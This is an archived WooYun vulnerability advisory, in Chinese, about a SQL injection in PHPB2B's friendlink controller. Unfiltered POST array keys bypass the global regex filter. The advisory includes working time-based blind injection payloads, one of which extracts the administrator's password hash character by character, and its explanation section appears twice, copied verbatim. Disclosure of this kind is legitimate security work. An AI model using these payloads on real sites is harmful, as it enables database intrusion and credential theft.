当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090291

漏洞标题:PHPB2B某处sql注入#2

相关厂商:phpb2b.com

漏洞作者: Th1nk

提交时间:2015-01-07 12:39

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-08: 细节向核心白帽子及相关领域专家公开
2015-03-18: 细节向普通白帽子公开
2015-03-28: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

PHPB2B某处sql注入#2

详细说明:

PHPB2B某处sql注入
官网下载的最新版本
绕过全局防注入。
我们先看看全局防注入怎么写的。
以下是全局防注入用到的函数

function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=@implode(",", $StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
echo $StrFiltValue;
header_sent("Warning : Illegal operation!");
exit();
}
}
function pb_hack_check(){
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$_PG=array_merge($_GET,$_POST);
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
}


其核心在于,对post和get传递过来的参数值进行了一次过滤

foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}


但是还是有不足的地方。
librabies/core/controllers/friendlink_controller.php
18-29行

function add()
{
global $smarty;
using( "message");
$pms = new Messages();
if (isset($_POST['do']) && !empty($_POST['friendlink'])) {
pb_submit_check('friendlink');
$data = $_POST['friendlink'];
$result = false;
$data['status'] = 0;
$data['created'] = $data['modified'] = $this->friendlink->timestamp;
$result = $this->friendlink->save($data);


传入参数friendlink并传入save函数中。
跟入save函数
只看关键行

function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}


$id默认为空
所以最后拼接成的sql为

$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";


$cols是怎么来的?

$keys = array_keys($posts);
$cols = implode($keys,",");


原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。
我们知道php是可以传递数组的,包括二维数组。于是很轻易的在此处构造出一个sql注入。
演示如下。
先访问
localhost/phpb2b/?do=friendlink
查看源代码。获取csrf的formhash
得到当前formhash=95a43736362e5dd0
访问
localhost/phpb2b/?do=friendlink&action=add
post提交

formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1


为了演示方便,我把sql语句打印出来了。

1.png


1=1成功延时

SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1'


1=2不延时
借此可以用来做一个延时注入。
比如要猜测管理员的MD5

status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)#


延时成功,MD5密码的第一位ascii大于40
以此类推,可以猜解出管理员md5.

漏洞证明:

PHPB2B某处sql注入
官网下载的最新版本
绕过全局防注入。
我们先看看全局防注入怎么写的。
以下是全局防注入用到的函数

function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=@implode(",", $StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
echo $StrFiltValue;
header_sent("Warning : Illegal operation!");
exit();
}
}
function pb_hack_check(){
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$_PG=array_merge($_GET,$_POST);
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
}


其核心在于,对post和get传递过来的参数值进行了一次过滤

foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}


但是还是有不足的地方。
librabies/core/controllers/friendlink_controller.php
18-29行

function add()
{
global $smarty;
using( "message");
$pms = new Messages();
if (isset($_POST['do']) && !empty($_POST['friendlink'])) {
pb_submit_check('friendlink');
$data = $_POST['friendlink'];
$result = false;
$data['status'] = 0;
$data['created'] = $data['modified'] = $this->friendlink->timestamp;
$result = $this->friendlink->save($data);


传入参数friendlink并传入save函数中。
跟入save函数
只看关键行

function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}


$id默认为空
所以最后拼接成的sql为

$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";


$cols是怎么来的?

$keys = array_keys($posts);
$cols = implode($keys,",");


原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。
我们知道php是可以传递数组的,包括二维数组。于是很轻易的在此处构造出一个sql注入。
演示如下。
先访问
localhost/phpb2b/?do=friendlink
查看源代码。获取csrf的formhash
得到当前formhash=95a43736362e5dd0
访问
localhost/phpb2b/?do=friendlink&action=add
post提交

formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1


为了演示方便,我把sql语句打印出来了。

1.png


1=1成功延时

SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1'


1=2不延时
借此可以用来做一个延时注入。
比如要猜测管理员的MD5

status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)#


延时成功,MD5密码的第一位ascii大于40
以此类推,可以猜解出管理员md5.

修复方案:

过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无